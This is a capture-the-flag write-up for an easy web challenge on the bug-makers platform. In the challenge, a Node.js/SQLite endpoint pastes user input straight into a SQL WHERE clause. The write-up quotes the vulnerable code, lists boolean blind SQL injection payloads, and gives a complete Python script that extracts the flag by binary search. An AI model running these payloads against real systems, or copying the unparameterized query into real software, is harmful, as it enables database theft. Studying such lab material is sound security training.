Слепая инъекция (Blind Injection)
Слепая инъекция (Blind Injection)
Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: binary_search_extraction, boolean_blind_sqli, direct_where_injection, sqlite_unicode_substr
Summary
Task: Node.js API injects user input directly into SQL WHERE clause, returning boolean true/false. Solution: boolean-based blind SQLi with binary search using unicode(substr()) to extract flag character by character.
Слепая инъекция (Blind Injection) — bug-makers
Description
Флаг находится в таблице БД, но запрос к ней может ответить только false или true.
English summary: A Node.js/Express API endpoint /check?number= takes user input and concatenates it directly into a SQL WHERE clause. The response is a boolean oracle — {"success": true} when the query returns rows, {"success": false} otherwise. The goal is to extract the flag from the flag table using blind SQL injection.
Analysis
The provided source code (api.js) reveals the vulnerability immediately:
js read-only • copy allowedapp.get('/check', (req, res) => { const { number } = req.query; const query = `SELECT count(*) as count FROM flag WHERE ${number}`; db.get(query, (err, row) => { if (err) { return res.json({ success: false }); } const hasRecords = row && row.count > 0; res.json({ success: hasRecords ? true : false }); }); });
Key observations:
- Direct concatenation — the
numberparameter is placed directly into the WHERE clause with no sanitization, no parameterized queries, no escaping. - Boolean oracle — the response is strictly
true(count > 0) orfalse(count = 0 or error), making this a classic boolean-based blind SQLi. - No quotes needed — since the injection point is the entire WHERE clause (not inside a string literal), no quote escaping is necessary.
- SQLite backend — Node.js
db.get()with SQLite means we must use SQLite-specific functions (unicode()instead ofASCII()). - Error = false — SQL errors also return
{"success": false}, so we can't distinguish errors from false conditions, but this doesn't matter for boolean extraction.
Oracle confirmation:
?number=1=1→{"success": true}(TRUE condition, flag table has rows)?number=1=0→{"success": false}(FALSE condition, count = 0)
Solution
Step 1: Identify table and column names
The table name flag is visible in the source code. The column name was discovered by testing common names with subqueries:
?number=unicode(substr((SELECT flag FROM flag LIMIT 1),1,1)) > 0 → true ✓
?number=unicode(substr((SELECT value FROM flag LIMIT 1),1,1)) > 0 → false ✗
The column is also named flag.
Step 2: Extract flag length via binary search
?number=length((SELECT flag FROM flag LIMIT 1)) >= 36 → true
?number=length((SELECT flag FROM flag LIMIT 1)) >= 37 → false
Flag length: 36 characters.
Step 3: Extract flag character by character
For each position pos (1 to 36), binary search over ASCII range [32, 126]:
?number=unicode(substr((SELECT flag FROM flag LIMIT 1),{pos},1)) > {mid}
Each character requires ~7 requests (log2(94) ≈ 6.6), so ~252 requests total.
Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """Fast blind SQLi flag extraction with binary search""" import requests import sys BASE_URL = "https://blind-injection.t1.bug-makers.ru/check" QUERY = "SELECT flag FROM flag LIMIT 1" session = requests.Session() def check(cond): try: r = session.get(BASE_URL, params={"number": cond}, timeout=15) return r.json().get("success", False) except: return None def extract_length(): low, high = 0, 200 while low < high: mid = (low + high + 1) // 2 if check(f"length(({QUERY})) >= {mid}"): low = mid else: high = mid - 1 return low def extract_char(pos): low, high = 32, 126 while low < high: mid = (low + high) // 2 r = check(f"unicode(substr(({QUERY}),{pos},1)) > {mid}") if r is None: return '?' if r: low = mid + 1 else: high = mid return chr(low) def main(): print("[*] Getting flag length...") length = extract_length() print(f"[+] Flag length: {length}") result = ['?'] * length for i in range(1, length + 1): c = extract_char(i) result[i-1] = c flag_so_far = ''.join(result[:i]) print(f" [{i}/{length}] {flag_so_far}", flush=True) flag = ''.join(result) print(f"\n[+] FLAG: {flag}") if __name__ == "__main__": main()
What didn't work
- Schema extraction first — extracting the full schema via
sqlite_masterworked but was very slow (153+ characters to extract). Guessing common column names (flag,value,text, etc.) was much faster. ASCII()function — does not exist in SQLite. Must useunicode()instead for character ordinal values.